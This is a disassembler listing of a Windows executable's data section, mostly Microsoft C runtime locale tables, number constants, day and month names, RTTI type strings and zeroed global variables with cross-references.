dd 18h, 4340A8h, 16h, 4340A0h, 17h, 434098h, 22h, 434094h
dd 23h, 434090h, 24h, 43408Ch
dbl_444208 dq 1.797693134862316e308 ; DATA XREF: sub_422B10+E4r
; sub_422B10:loc_422C07r ...
dd 0
dd 0FFF80000h
dbl_444218 dq 1.797693134862316e308 ; DATA XREF: sub_422B10:loc_422C4Ar
; sub_422B10+167r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_444230 dt 2.3562723457267347066e313 ; DATA XREF: sub_423360+13r
; sub_423360+2Ar
align 4
tbyte_44423C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_423360+41r
align 4
off_444248 dd offset sub_423B50 ; DATA XREF: sub_4190F0+3w
; sub_41E9B0+6ADr
off_44424C dd offset sub_423560 ; DATA XREF: sub_4190F0+Dw
; sub_41E9B0+6F1r
off_444250 dd offset sub_423670 ; DATA XREF: sub_4190F0+17w
; sub_420920+1138r
off_444254 dd offset sub_4234B0 ; DATA XREF: sub_4190F0+21w
; sub_41E9B0+6CFr
off_444258 dd offset sub_423640 ; DATA XREF: sub_4190F0+2Bw
off_44425C dd offset sub_423B50 ; DATA XREF: sub_4190F0+35w
dd offset sub_42A780
align 10h
off_444270 dd offset sub_424890 ; DATA XREF: sub_424940+2Dr
; sub_424940+3Dr
dword_444274 dd 43h ; DATA XREF: sub_424DC0:loc_424F2Co
; ___:00444390o ...
dword_444278 dd 43h, 20h dup(0) ; DATA XREF: sub_425060+8Do
; sub_425060+117o ...
dword_4442FC dd 43h, 20h dup(0) ; DATA XREF: sub_425060+74o
; sub_425060+FCo ...
off_444380 dd offset aLc_all ; DATA XREF: ___:00424B4Fr
; ___:00424B68r ...
; "LC_ALL"
dword_444384 dd 0 ; DATA XREF: ___:00424A47r
; ___:00424CF0r ...
off_444388 dd offset sub_4251F0 ; DATA XREF: sub_424DC0+12Br
dd offset aLc_collate ; "LC_COLLATE"
dd offset dword_444274
dd offset sub_42BD80
dd offset aLc_ctype ; "LC_CTYPE"
off_44439C dd offset dword_444274 ; DATA XREF: sub_424F60+F0r
dd offset sub_42B9E0
dd offset aLc_monetary ; "LC_MONETARY"
dd offset dword_444274
dd offset sub_42B580
dd offset aLc_numeric ; "LC_NUMERIC"
dd offset dword_444274
dd offset sub_42B250
dd offset aLc_time ; "LC_TIME"
dd offset dword_444274
dd offset sub_42A8D0
dword_4443C8 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_41F950+6o
; ___:0041FADEo ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_444440 dd 3 ; DATA XREF: ___:00425F88r
; ___:loc_425F9Br ...
dword_444444 dd 7 ; DATA XREF: ___:00425FA1r
; sub_427350+17Dr
dword_444448 dd 78h ; DATA XREF: ___:004271C8r
; ___:004271E6r
dword_44444C dd 0Ah ; DATA XREF: sub_4260B0+1Dr
; sub_4260B0:loc_4260E2r ...
dword_444450 dd 2 ; DATA XREF: sub_426B80+2Ar
; sub_426B80+3Dr ...
off_444454 dd offset aR6002FloatingP ; DATA XREF: sub_426B80+56r
; sub_426B80+98r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 4344D8h, 9, 4344ACh, 0Ah, 434488h, 10h, 43445Ch
dd 11h, 43442Ch, 12h, 434408h, 13h, 4343DCh, 18h, 4343A4h
dd 19h, 43437Ch, 1Ah, 434344h, 1Bh, 43430Ch, 1Ch, 4342E4h
dd 78h, 4342D4h, 79h, 4342C4h, 7Ah, 4342B4h, 0FCh, 4342B0h
dd 0FFh, 4342A0h
dword_4444E0 dd 7080h ; DATA XREF: sub_421E20+92r
; sub_428F10+80w ...
dword_4444E4 dd 1 ; DATA XREF: sub_421E20+C2r
; sub_428F10+BFw ...
dword_4444E8 dd 0FFFFF1F0h ; DATA XREF: sub_421E20+DEr
; sub_428F10+D7w ...
off_4444EC dd offset dword_545350 ; DATA XREF: ___:off_44456Co
dd 0Fh dup(0)
off_44452C dd offset dword_544450 ; DATA XREF: ___:off_444570o
dd 0Fh dup(0)
off_44456C dd offset off_4444EC ; DATA XREF: sub_428F10+FAr
; sub_428F10+123r ...
off_444570 dd offset off_44452C ; DATA XREF: sub_428F10+140r
; sub_428F10+16Ar ...
align 8
dword_444578 dd 0FFFFFFFFh ; DATA XREF: sub_428F10+30w
; sub_4292F0+1Ar ...
dword_44457C dd 0 ; DATA XREF: sub_4292F0:loc_4294EBr
; sub_4292F0+20Fr ...
dword_444580 dd 0 ; DATA XREF: sub_4292F0+2CFr
; sub_4295F0+13Dw
align 8
dword_444588 dd 0FFFFFFFFh ; DATA XREF: sub_428F10+21w
; sub_428F10+2Br ...
dword_44458C dd 0 ; DATA XREF: sub_4292F0+201r
; sub_4292F0+21Dr ...
dword_444590 dd 0 ; DATA XREF: sub_4292F0+2E5r
; sub_4295F0+1Dr ...
dword_444594 dd 0FFFFFFFFh ; DATA XREF: sub_4295F0+B0r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_4445C4 dd 16Dh ; DATA XREF: sub_421E20+2Er
; sub_4295F0+2Cr ...
dword_4445C8 dd 0FFFFFFFFh ; DATA XREF: sub_4295F0+BFr
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch
dword_4445FC dd 2694h ; DATA XREF: sub_4223E0+3r
; ___:0042244Fr ...
dword_444600 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42A2C0+3o
dword_444618 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_42A2E0+3o
dword_444630 dd 40Ah ; DATA XREF: sub_42C930+3Er
; sub_42C930+147r
a040a db '040a',0 ; DATA XREF: sub_42C930+9Ao
align 4
off_44463C dd offset aSpanishTraditi ; DATA XREF: sub_42C930+ABr
; "Spanish - Traditional Sort"
off_444640 dd offset byte_505345 ; DATA XREF: sub_42C930+BCo
off_444644 dd offset aSpain ; DATA XREF: sub_42C930+CDr
; "Spain"
off_444648 dd offset byte_505345 ; DATA XREF: sub_42C930+DEo
dword_44464C dd 303538h, 0 ; DATA XREF: sub_42C930+EFo
a1252 db '1252',0 ; DATA XREF: sub_42C930+100o
align 4
dd 40Bh, 62303430h, 0
dd offset aFinnish ; "Finnish"
dd offset word_4E4946
dd offset aFinland ; "Finland"
dd offset word_4E4946
dd 303538h, 0
a1252_0 db '1252',0
align 4
dd 40Ch, 63303430h, 0
dd offset aFrench ; "French"
dd offset loc_415245+1
dd offset aFrance ; "France"
dd offset loc_415245+1
dd 303538h, 0
a1252_1 db '1252',0
align 4
dd 40Fh, 66303430h, 0
dd offset aIcelandic ; "Icelandic"
dd offset byte_4C5349
dd offset aIceland ; "Iceland"
dd offset byte_4C5349
dd 303538h, 0
a1252_2 db '1252',0
align 10h
dd 41Dh, 64313430h, 0
dd offset aSwedish ; "Swedish"
dd offset byte_455653
dd offset aSweden ; "Sweden"
dd offset byte_455753
dd 303538h, 0
a1252_3 db '1252',0
align 4
dd 42Dh, 64323430h, 0
dd offset aBasque ; "Basque"
dd offset byte_515545
dd offset aSpain ; "Spain"
dd offset byte_505345
dd 303538h, 0
a1252_4 db '1252',0
align 4
db 0Ah
db 8,0
align 4
a080a db '080a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4D5345
dd offset aMexico ; "Mexico"
dd offset byte_58454D
dd 303538h, 0
a1252_5 db '1252',0
align 4
dd 80Ch, 63303830h, 0
dd offset aFrench ; "French"
dd offset loc_425244+2
dd offset aBelgium ; "Belgium"
dd offset word_4C4542
dd 303538h, 0
a1252_6 db '1252',0
align 10h
dd 0C07h, 37306330h, 0
dd offset aGerman ; "German"
dd offset loc_414544
dd offset aAustria ; "Austria"
dd offset byte_545541
dd 303538h, 0
a1252_7 db '1252',0
align 4
dd 0C09h, 39306330h, 0
dd offset aEnglish ; "English"
dd offset loc_414E43+2
dd offset aAustralia ; "Australia"
dd offset aCZ@K ; "Ä–'§»@:[Š"
dd 303538h, 0
a1252_8 db '1252',0
align 4
dd 0C0Ah, 61306330h, 0
dd offset aSpanishModernS ; "Spanish - Modern Sort"
dd offset byte_4E5345
dd offset aSpain ; "Spain"
dd offset byte_505345
dd 303538h, 0
a1252_9 db '1252',0
align 4
dd 0C0Ch, 63306330h, 0
dd offset aFrench ; "French"
dd offset dword_435244+2
dd offset aCanada ; "Canada"
dd offset byte_4E4143
dd 303538h, 0
a1252_10 db '1252',0
align 10h
dd 100Ah, 61303031h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_475345
dd offset aGuatemala ; "Guatemala"
dd offset byte_4D5447
dd 303538h, 0
a1252_11 db '1252',0
align 4
dd 100Ch, 63303031h, 0
dd offset aFrench ; "French"
dd offset aEEhQas ; "¥ì…HŸ€‘"
dd offset aSwitzerland ; "Switzerland"
dd offset byte_454843
dd 303538h, 0
a1252_12 db '1252',0
align 4
dd 140Ah, 61303431h, 0
dd offset aSpanish ; "Spanish"
dd offset dword_435330+15h
dd offset aCostaRica ; "Costa Rica"
dd offset byte_495243
dd 303538h, 0
a1252_13 db '1252',0
align 4
dd 140Ch, 63303431h, 0
dd offset aFrench ; "French"
dd offset word_4C5246
dd offset aLuxembourg ; "Luxembourg"
dd offset dword_58554C
dd 303538h, 0
a1252_14 db '1252',0
align 10h
dd 180Ah, 61303831h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_415344+1
dd offset aPanama ; "Panama"
dd offset dword_4E4150
dd 303538h, 0
a1252_15 db '1252',0
align 4
dd 1C09h, 39306331h, 0
dd offset aEnglish ; "English"
dd offset byte_534E45
dd offset aSouthAfrica ; "South Africa"
dd offset word_46415A
dd 373334h, 0
a1252_16 db '1252',0
align 4
dd 1C0Ah, 61306331h, 0
dd offset aSpanish ; "Spanish"
dd offset dword_445344+1
dd offset aDominicanRepub ; "Dominican Republic"
dd offset dword_4D4F44
dd 303538h, 0
a1252_17 db '1252',0
align 4
db 0Ah
db ' ',0
align 4
a200a db '200a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_565345
dd offset aVenezuela ; "Venezuela"
dd offset word_4E4556
dd 303538h, 0
a1252_18 db '1252',0
align 10h
db 0Ah
db '$',0
align 4
a240a db '240a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4F5345
dd offset aColombia ; "Colombia"
dd offset byte_4C4F43
dd 303538h, 0
a1252_19 db '1252',0
align 4
db 0Ah
db '(',0
align 10h
a280a db '280a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_525345
dd offset aPeru ; "Peru"
dd offset dword_524550
dd 303538h, 0
a1252_20 db '1252',0
align 4
db 0Ah
db ',',0
align 4
a2c0a db '2c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_535345
dd offset aArgentina ; "Argentina"
dd offset byte_475241
dd 303538h, 0
a1252_21 db '1252',0
align 4
a0 db 0Ah
db '0',0
align 4
a300a db '300a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_465345
dd offset aEcuador ; "Ecuador"
dd offset byte_554345
dd 303538h, 0
a1252_22 db '1252',0
align 10h
a4 db 0Ah
db '4',0
align 4
a340a db '340a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4C5345
dd offset aChile ; "Chile"
dd offset byte_4C4843
dd 303538h, 0
a1252_23 db '1252',0
align 4
a8 db 0Ah
db '8',0
align 10h
a380a db '380a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_595345
dd offset aUruguay ; "Uruguay"
dd offset byte_595255
dd 303538h, 0
a1252_24 db '1252',0
align 4
db 0Ah
db '<',0
align 4
a3c0a db '3c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_5A5345
dd offset aParaguay ; "Paraguay"
dd offset dword_595250
dd 303538h, 0
a1252_25 db '1252',0
align 4
word_444AD4 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch
; DATA XREF: sub_42C800+34r
dw 810h, 81Dh
off_444AE8 dd offset aAmerica ; DATA XREF: sub_42BE10+9Co
; "america"
dd offset loc_415353+2
dd offset aBritain ; "britain"
dd offset aAvaSx+3
dd offset aChina ; "china"
dd offset byte_4E4843
dd offset aCzech ; "czech"
dd offset byte_455A43
dd offset aEngland ; "england"
dd offset aAvaSx+3
dd offset aGreatBritain ; "great britain"
dd offset aAvaSx+3
dd offset aHolland ; "holland"
dd offset word_444C4E
dd offset aHongKong ; "hong-kong"
dd offset dword_474B48
dd offset aNewZealand ; "new-zealand"
dd offset word_4C5A4E
dd offset aNz ; "nz"
dd offset word_4C5A4E
dd offset aPrChina_0 ; "pr china"
dd offset byte_4E4843
dd offset aPrChina ; "pr-china"
dd offset byte_4E4843
dd offset aPuertoRico ; "puerto-rico"
dd offset dword_495250
dd offset aSlovak ; "slovak"
dd offset byte_4B5653
dd offset aSouthAfrica_1 ; "south africa"
dd offset word_46415A
dd offset aSouthKorea_0 ; "south korea"
dd offset aIty ; "\"ØI’y"
dd offset aSouthAfrica_0 ; "south-africa"
dd offset word_46415A
dd offset aSouthKorea ; "south-korea"
dd offset aIty ; "\"ØI’y"
dd offset aTrinidadTobago ; "trinidad & tobago"
dd offset dword_4F5454
dd offset aUk ; "uk"
dd offset aAvaSx+3
dd offset aUnitedKingdom ; "united-kingdom"
dd offset aAvaSx+3
dd offset aUnitedStates ; "united-states"
dd offset loc_415353+2
dd offset aUs ; "us"
dd offset loc_415353+2
off_444BA0 dd offset aAmerican ; DATA XREF: sub_42BE10+67o
; "american"
dd offset byte_554E45
dd offset aAmericanEngl_0 ; "american english"
dd offset byte_554E45
dd offset aAmericanEnglis ; "american-english"
dd offset byte_554E45
dd offset aAustralian ; "australian"
dd offset loc_414E43+2
dd offset aBelgian ; "belgian"
dd offset loc_424C4C+2
dd offset aCanadian ; "canadian"
dd offset aMonday+5
dd offset aChh ; "chh"
dd offset word_48485A
dd offset aChi ; "chi"
dd offset word_49485A
dd offset aChinese ; "chinese"
dd offset aYkdB ; "µyKD(b"
dd offset aChineseHongkon ; "chinese-hongkong"
dd offset word_48485A
dd offset aChineseSimplif ; "chinese-simplified"
dd offset aYkdB ; "µyKD(b"
dd offset aChineseSingapo ; "chinese-singapore"
dd offset word_49485A
dd offset aChineseTraditi ; "chinese-traditional"
dd offset byte_544843
dd offset aDutchBelgian ; "dutch-belgian"
dd offset loc_424C4C+2
dd offset aEnglishAmerica ; "english-american"
dd offset byte_554E45
dd offset aEnglishAus ; "english-aus"
dd offset loc_414E43+2
dd offset aEnglishBelize ; "english-belize"
dd offset byte_4C4E45
dd offset aEnglishCan ; "english-can"
dd offset aMonday+5
dd offset aEnglishCaribbe ; "english-caribbean"
dd offset loc_424E42+3
dd offset aEnglishIre ; "english-ire"
dd offset byte_494E45
dd offset aEnglishJamaica ; "english-jamaica"
dd offset byte_4A4E45
dd offset aEnglishNz ; "english-nz"
db 45h, 4Eh
word_444C4E dw 5Ah ; DATA XREF: ___:00444B1Co
dd offset aEnglishSouthAf ; "english-south africa"
dd offset byte_534E45
dd offset aEnglishTrinida ; "english-trinidad y tobago"
dd offset byte_544E45
dd offset aEnglishUk ; "english-uk"
dd offset byte_474E45
dd offset aEnglishUs ; "english-us"
dd offset byte_554E45
dd offset aEnglishUsa ; "english-usa"
dd offset byte_554E45
dd offset aFrenchBelgian ; "french-belgian"
dd offset loc_425244+2
dd offset aFrenchCanadian ; "french-canadian"
dd offset dword_435244+2
dd offset aFrenchLuxembou ; "french-luxembourg"
dd offset word_4C5246
dd offset aFrenchSwiss ; "french-swiss"
dd offset aEEhQas ; "¥ì…HŸ€‘"
dd offset aGermanAustrian ; "german-austrian"
dd offset loc_414544
dd offset aGermanLichtens ; "german-lichtenstein"
dd offset aMicrosoftVis_0+18h
dd offset aGermanLuxembou ; "german-luxembourg"
dd offset dword_4C4544
dd offset aGermanSwiss ; "german-swiss"
dd offset dword_534544
dd offset aIrishEnglish ; "irish-english"
dd offset byte_494E45
dd offset aItalianSwiss ; "italian-swiss"
dd offset byte_535449
dd offset aNorwegian ; "norwegian"
dd offset aIty+3
dd offset aNorwegianBokma ; "norwegian-bokmal"
dd offset aIty+3
dd offset aNorwegianNynor ; "norwegian-nynorsk"
dd offset word_4E4F4E
dd offset aPortugueseBraz ; "portuguese-brazilian"
dd offset loc_42544F+1
dd offset aSpanishArgenti ; "spanish-argentina"
dd offset byte_535345
dd offset aSpanishBolivia ; "spanish-bolivia"
dd offset loc_425343+2
dd offset aSpanishChile ; "spanish-chile"
dd offset byte_4C5345
dd offset aSpanishColombi ; "spanish-colombia"
dd offset byte_4F5345
dd offset aSpanishCostaRi ; "spanish-costa rica"
dd offset dword_435330+15h
dd offset aSpanishDominic ; "spanish-dominican republic"
dd offset dword_445344+1
dd offset aSpanishEcuador ; "spanish-ecuador"
dd offset byte_465345
dd offset aSpanishElSalva ; "spanish-el salvador"
dd offset byte_455345
dd offset aSpanishGuatema ; "spanish-guatemala"
dd offset byte_475345
dd offset aSpanishHondura ; "spanish-honduras"
dd offset byte_485345
dd offset aSpanishMexican ; "spanish-mexican"
dd offset byte_4D5345
dd offset aSpanishModern ; "spanish-modern"
dd offset byte_4E5345
dd offset aSpanishNicarag ; "spanish-nicaragua"
dd offset byte_495345
dd offset aSpanishPanama ; "spanish-panama"
dd offset loc_415344+1
dd offset aSpanishParagua ; "spanish-paraguay"
dd offset byte_5A5345
dd offset aSpanishPeru ; "spanish-peru"
dd offset byte_525345
dd offset aSpanishPuertoR ; "spanish-puerto rico"
dd offset aVsL ; "VéÚl"
dd offset aSpanishUruguay ; "spanish-uruguay"
dd offset byte_595345
dd offset aSpanishVenezue ; "spanish-venezuela"
dd offset byte_565345
dd offset aSwedishFinland ; "swedish-finland"
dd offset byte_465653
dd offset aSwiss ; "swiss"
dd offset dword_534544
dd offset aUk ; "uk"
dd offset byte_474E45
dd offset aUs ; "us"
dd offset byte_554E45
dd offset aUsa ; "usa"
dd offset byte_554E45
off_444DA8 dd offset off_444DB0 ; DATA XREF: sub_42A8D0+70w
; sub_42A8D0:loc_42A971w ...
align 10h
off_444DB0 dd offset aSun ; DATA XREF: sub_42A8D0:loc_42A971o
; ___:off_444DA8o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset dword_434D40+34h
dd offset dword_434D40+30h
dd offset dword_434D40+2Ch
dd offset dword_434D40+24h
dd offset dword_434D40+10h
dd offset dword_434D40+8
align 10h
dword_444E60 dd 2Eh, 0 ; DATA XREF: sub_42B250+EEo
; ___:off_444E68o
off_444E68 dd offset dword_444E60 ; DATA XREF: sub_42B580+D4w
; sub_42B580+F6o ...
off_444E6C dd offset dword_4DB438 ; DATA XREF: sub_42B580+E2w
off_444E70 dd offset dword_4DB438 ; DATA XREF: sub_42B580+F1w
dd offset dword_4DB438
dd offset dword_4DB438
dd offset dword_4DB438
dd offset dword_4DB438
dd offset dword_4DB438
dd offset dword_4DB438
dd offset dword_4DB438
dd 2 dup(7F7F7F7Fh)
off_444E98 dd offset off_444E68 ; DATA XREF: sub_42B250:loc_42B339r
; sub_42B250+F8r ...
align 10h
dword_444EA0 dd 2 dup(0) ; DATA XREF: sub_4306E0+6o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_445000 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4306E0+2Ao
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_445160 dd offset off_434FB8 ; DATA XREF: ___:off_434FE0o
; ___:0043510Co ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_445178 dd offset off_434FB8 ; DATA XREF: ___:off_434FF8o
; ___:0043503Co ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_445198 dd offset off_434FB8 ; DATA XREF: ___:off_435048o
; ___:0043508Co ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_4451B8 dd offset off_434FB8 ; DATA XREF: ___:off_435098o
; ___:004350DCo ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_4451D8 dd offset off_434FB8 ; DATA XREF: ___:off_435118o
; ___:00435154o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42A780
align 8
dword_4451F8 dd 2 dup(0) ; DATA XREF: sub_401317+C8o
dword_445200 dd 0 ; DATA XREF: sub_401317+62o
dword_445204 dd 0 ; DATA XREF: sub_4014E0+4A7w
; sub_4014E0+4EBr
dword_445208 dd 0 ; DATA XREF: sub_4014E0+65w
; sub_413426+166r
dword_44520C dd 0 ; DATA XREF: sub_4014E0+80Bw
; sub_4014E0+880r ...
dword_445210 dd 0 ; DATA XREF: sub_4014E0+9D8w
; sub_4014E0+A43r ...
dword_445214 dd 0 ; DATA XREF: sub_4014E0+98Aw
; sub_4014E0+A13r ...
dword_445218 dd 0 ; DATA XREF: sub_4014E0+48Dw
; sub_4014E0+4DBr
dword_44521C dd 0 ; DATA XREF: sub_4014E0+213w
; sub_4014E0+234r
dword_445220 dd 0 ; DATA XREF: sub_4014E0+9CBw
; sub_4014E0+A3Br ...
dword_445224 dd 0 ; DATA XREF: sub_4014E0+372w
; sub_4014E0+3C7r ...
dword_445228 dd 0 ; DATA XREF: sub_4014E0+40Fw
; sub_414129+11Er
dword_44522C dd 0 ; DATA XREF: sub_4014E0+37Fw
; sub_4014E0+3CFr ...
dword_445230 dd 0 ; DATA XREF: sub_4014E0+3C0w
; sub_412A14+ADr
dword_445234 dd 0 ; DATA XREF: sub_4014E0+55Aw
; sub_40D8F7+115r ...
dword_445238 dd 0 ; DATA XREF: sub_4014E0+72w
; sub_4014E0+D2r ...
dword_44523C dd 0 ; DATA XREF: sub_4014E0+97Dw
; sub_4014E0+A06r ...
dword_445240 dd 0 ; DATA XREF: sub_4014E0+3A6w
; sub_4014E0+3E7r ...
dword_445244 dd 0 ; DATA XREF: sub_4014E0+859w
; sub_4014E0+8ACr ...
dword_445248 dd 0 ; DATA XREF: sub_4014E0+2A5w
; sub_4014E0+2F0r
dword_44524C dd 0 ; DATA XREF: sub_4014E0+84Cw
; sub_4014E0+8A4r ...
dword_445250 dd 0 ; DATA XREF: sub_4014E0+B3w
dword_445254 dd 0 ; DATA XREF: sub_4014E0+866w
; sub_4014E0+8B4r ...
dword_445258 dd 0 ; DATA XREF: sub_4014E0+54Dw
; sub_4014E0+6D0r ...
dword_44525C dd 0 ; DATA XREF: sub_4014E0+58w
; sub_4014E0+CAr ...
dword_445260 dd 0 ; DATA XREF: sub_4014E0+934w
dword_445264 dd 0 ; DATA XREF: sub_4014E0+A95w
; sub_4014E0+A9Cr ...
dword_445268 dd 0 ; DATA XREF: sub_4014E0+A6w
; sub_4014E0+F2r
dword_44526C dd 0 ; DATA XREF: sub_4014E0+480w
; sub_4014E0+4D3r
dword_445270 dd 0 ; DATA XREF: sub_4014E0+5F6w
; sub_409B7E+20r
dword_445274 dd 0 ; DATA XREF: sub_4014E0+9BEw
; sub_4014E0+A33r
dword_445278 dd 0 ; DATA XREF: sub_4014E0+5E9w
; sub_4014E0+754r ...
dword_44527C dd 0 ; DATA XREF: sub_4014E0+A0Cw
; sub_40C33C+8Br ...
dword_445280 dd 0 ; DATA XREF: sub_4014E0+B50w
dword_445284 dd 0 ; DATA XREF: sub_4014E0+7FEw
; sub_4014E0+86Dr
dword_445288 dd 0 ; DATA XREF: sub_4014E0+1B3w
; sub_411F81+15r
dword_44528C dd 0 ; DATA XREF: sub_4014E0+997w
; sub_4014E0+A1Br ...
dword_445290 dd 0 ; DATA XREF: sub_4014E0+38Cw
; sub_4014E0+3D7r ...
dword_445294 dd 0 ; DATA XREF: sub_4014E0+399w
; sub_4014E0+3DFr ...
dword_445298 dd 0 ; DATA XREF: sub_4014E0+C85w
; sub_4014E0+C8Cr
dword_44529C dd 0 ; DATA XREF: sub_4014E0+6ACw
; ___:0040F0A8r
dword_4452A0 dd 0 ; DATA XREF: sub_401317+1Dr
; sub_401317+23r ...
dword_4452A4 dd 0 ; DATA XREF: sub_4014E0+4B4w
dword_4452A8 dd 0 ; DATA XREF: sub_4014E0+9E5w
; sub_4014E0+A4Br ...
dword_4452AC dd 0 ; DATA XREF: sub_401000+51r
; sub_4014E0+2B2w ...
dword_4452B0 dd 0 ; DATA XREF: sub_4014E0+7Fw
; sub_4014E0+DAr ...
dword_4452B4 dd 0 ; DATA XREF: sub_4014E0+B9Dw
; sub_4014E0+BA4r ...
dword_4452B8 dd 0 ; DATA XREF: sub_4014E0+533w
; sub_4014E0+6B3r ...
dword_4452BC dd 0 ; DATA XREF: sub_4014E0+825w
; sub_4014E0+890r ...
dword_4452C0 dd 0 ; DATA XREF: sub_4014E0+9A4w
; sub_4014E0+A23r
dword_4452C4 dd 0 ; DATA XREF: sub_4014E0+C0Ew
; sub_4014E0+C3Fr
dword_4452C8 dd 0 ; DATA XREF: sub_4014E0+2CCw
; sub_41212B+47r
dword_4452CC dd 0 ; DATA XREF: sub_4014E0+22Dw
dword_4452D0 dd 0 ; DATA XREF: sub_4014E0+91Aw
; sub_4014E0+92Er
dword_4452D4 dd 0 ; DATA XREF: sub_4014E0+C28w
dword_4452D8 dd 0 ; DATA XREF: sub_4014E0+2D9w
; sub_41212B+4Fr
